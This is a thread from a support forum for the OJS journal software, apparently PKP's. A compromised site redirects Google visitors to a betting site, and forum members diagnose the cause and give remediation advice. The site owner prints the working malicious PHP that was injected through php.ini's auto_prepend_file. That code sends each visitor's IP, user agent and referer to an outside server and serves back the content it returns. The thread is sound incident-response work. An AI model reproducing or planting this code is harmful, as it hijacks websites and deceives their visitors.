OJS is being improperly redirected to a betting site

Dear all

I am experiencing an issue with my OJS system: when searched on Google, any link that appears in the search results improperly redirects to a betting site (bet1026.club).

To conduct a test, please:

  1. Open Google.
  2. Enter “SBC SOL” in the search field.
  3. Check the results.

However, when accessing directly via the address https://sol.sbc.org.br in the address bar, the behavior is as expected.

I apologize if this is not the appropriate forum.
I appreciate any help.

Regards

1 Like

curl -L -D header.txt https://sol.sbc.org.br or curl -L -D header.txt http://sol.sbc.org.br report both proper resolution of your URL.

Report this behavior to Google by clicking in the search results on the three vertical dots right to the URL https://sol.sbc.org.br

Also, register your sitemap in Google Search Console. During registration, Google asks you to prove that you are the owner of the website by either installing a verifiction file provided by Google in the OJS root directory or by domain check.

1 Like

Hello @fsf ,

The tips @mpbraendle provided may help but I think you server is compromised.

I investigated that a simple request to your https://sol.sbc.org.br returns 302 redirecting to index of the OJS installation. And that is OK.

However, I was able to replicate the issue (in Firefox) by:

After following these steps, I received the same redirect you’re encountering from Google Search. The response code is a 200 (success), but the HTML content includes a script that redirects the user to the betting site (https://bet1026.club/) after a short delay.

Possible Cause:

In my opinion, it seems like someone might have gained unauthorized access to your system and configured it to redirect users coming from Google searches. This malicious script is triggered when the request includes “Google” in the “Referer” header.

There are three ways this compromise could have happened:

  • Direct Server Access (Least Likely): An attacker might have gained direct access to your server, but this is the least likely scenario.
  • Malicious Plugin: Someone with admin access to your website might have installed a malicious plugin that triggers this redirect. See the discussion: Disable/enable plugin uploads in config file · pkp/pkp-lib · Discussion #9936 · GitHub
  • Unintended Plugin Installation: An administrator might have unknowingly installed a malicious plugin thinking it was legitimate.

Recommendations:

Here’s what I recommend you do:

  • Review Installed Plugins: Carefully examine all the plugins installed on your website, both from the user interface and the server-side. Don’t rely solely on the user interface in this case.
  • Update Credentials: Change all administrator and server passwords immediately.
  • Check Server-Side Code (if not a plugin): If the issue isn’t caused by a plugin, you’ll need to investigate the server-side code responsible for handling requests and identify the malicious part that needs to be fixed.
  • Review Server Logs: Analyze your server logs to see if there are any suspicious activities that might indicate how the compromise happened.

By following these steps, you should be able to identify the source of the problem and take steps to fix it. If you’re not comfortable with these technical steps, consider seeking help from a web security professional.

I hope this explanation helps! Let me know if you have any other questions.

Mexeu com a SBC mexeu comigo!

2 Likes

Hi @fsf,

In addition to the excellent advice above (thanks all!) – in my experience, the likeliest cause for this is a malicious modification to your server side PHP code. Have a look e.g. at this thread.

The most common way for hackers to do things like this is to leverage an improperly configured files_dir (see config.inc.php). If your files_dir points to something inside the web root, that’s probably what was used to modify your PHP code.

Regards,
Alec Smecher
Public Knowledge Project Team

1 Like

Dear all,

Thank you for your replies @henriquejsfj and @mpbraendle

@asmecher and @henriquejsfj, you are right.
There was an entry in my php.ini pointing to a file (php7) containing this content (indented):

<?php 
try {
    if ($_SERVER['REQUEST_METHOD'] === 'GET') {
        ini_set('display_errors', 'off');
        error_reporting(E_ALL ^ E_NOTICE);
        set_time_limit(0);

        if (@$_SERVER['HTTP_SEC_FETCH_SRC'] === "SPM") {
            echo "SPM";
            exit();
        }

        function postXUrl($url, $postData) {
            if (function_exists('curl_version')) {
                $curl = curl_init();
                curl_setopt($curl, CURLOPT_URL, $url);
                curl_setopt($curl, CURLOPT_HEADER, 0);
                curl_setopt($curl, CURLOPT_TIMEOUT, 10);
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($curl, CURLOPT_USERAGENT, 'kingpin');
                curl_setopt($curl, CURLOPT_REFERER, @$_SERVER['HTTP_REFERER']);
                curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
                curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
                curl_setopt($curl, CURLOPT_POST, 1);
                curl_setopt($curl, CURLOPT_POSTFIELDS, $postData);
                $response = curl_exec($curl);
                curl_close($curl);
                return $response;
            } else {
                $contextOptions = array(
                    'http' => array(
                        'method' => 'POST',
                        'header' => "User-Agent: kingpin\r\nContent-Type: application/x-www-form-urlencoded\r\n",
                        'content' => http_build_query($postData),
                        'timeout' => 10,
                    ),
                    'ssl' => array(
                        'verify_peer' => false,
                        'verify_peer_name' => false,
                    ),
                );
                $context = stream_context_create($contextOptions);
                $response = file_get_contents($url, false, $context);
                return $response;
            }
        }

        function getIP() {
            $ip = '';
            if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
                $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
            } elseif (isset($_SERVER['HTTP_CDN_SRC_IP'])) {
                $ip = $_SERVER['HTTP_CDN_SRC_IP'];
            } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
                $ip = $_SERVER['HTTP_CLIENT_IP'];
            } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
                $ip = $_SERVER['HTTP_X_FORWARDED'];
            } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
                $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
            } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
                $ip = $_SERVER['HTTP_FORWARDED_FOR'];
            } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
                $ip = $_SERVER['HTTP_FORWARDED'];
            } elseif (isset($_SERVER['REMOTE_ADDR'])) {
                $ip = $_SERVER['REMOTE_ADDR'];
            } else {
                $ip = 'UNKNOWN';
            }
            return $ip;
        }

        $url = ["https://eulaapiv3.checklicenses.com/v1.32/eula"];
        $currentUri = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
        $postData = array(
            'h_type' => 0,
            'f_uri' => $currentUri,
            'lang' => 'br',
            'r_path' => '/',
            's_path' => '',
            'g_ip' => getIP(),
            'g_ua' => @$_SERVER['HTTP_USER_AGENT'],
            'ref' => @$_SERVER['HTTP_REFERER'],
        );
        $response = postXUrl($url, $postData);
        $responseDecoded = @json_decode($response);
        if ($responseDecoded != null) {
            if (!$responseDecoded->s) {
                if ($responseDecoded->ct) {
                    header('Content-Type: ' . $responseDecoded->ct, true);
                }
                echo $responseDecoded->c;
                exit();
            }
        }
    }
} catch (Exception $e) {
    // Handle exception if needed
}
?>

The php.ini entry:

auto_prepend_file = "/var/lib/php/php7"

Additionally, the same code was found in the lib/pkp/includes/functions.inc.php file.

I’m working to fix the problem in my PHP environment.

I am truly thnaks for all the comments.

Regards

3 Likes

Hi @fsf / all,

Good luck, and thanks all for the documentation – I’m sure this will be useful to others.

It is very uncommon, I think, for /var/lib/php to be writable by a normal user account. It’s possible that the server was compromised at a higher privilege level than just a malicious PHP script could explain. The hacker would’ve needed higher privileges to install a malicious script in /var/lib/php/php7.

Thanks,
Alec Smecher
Public Knowledge Project Team

I also used the following pages/tools to scan the website with issues: https://view.hugo-decoded.be/ and ZAProxy

tks to professor @viterbo

I had a similar issue then i found out that my system has been hacked. Install a new application and restore your database. Make sure you update you PhP and ojs application to current and disable plugins that you do not use.

1 Like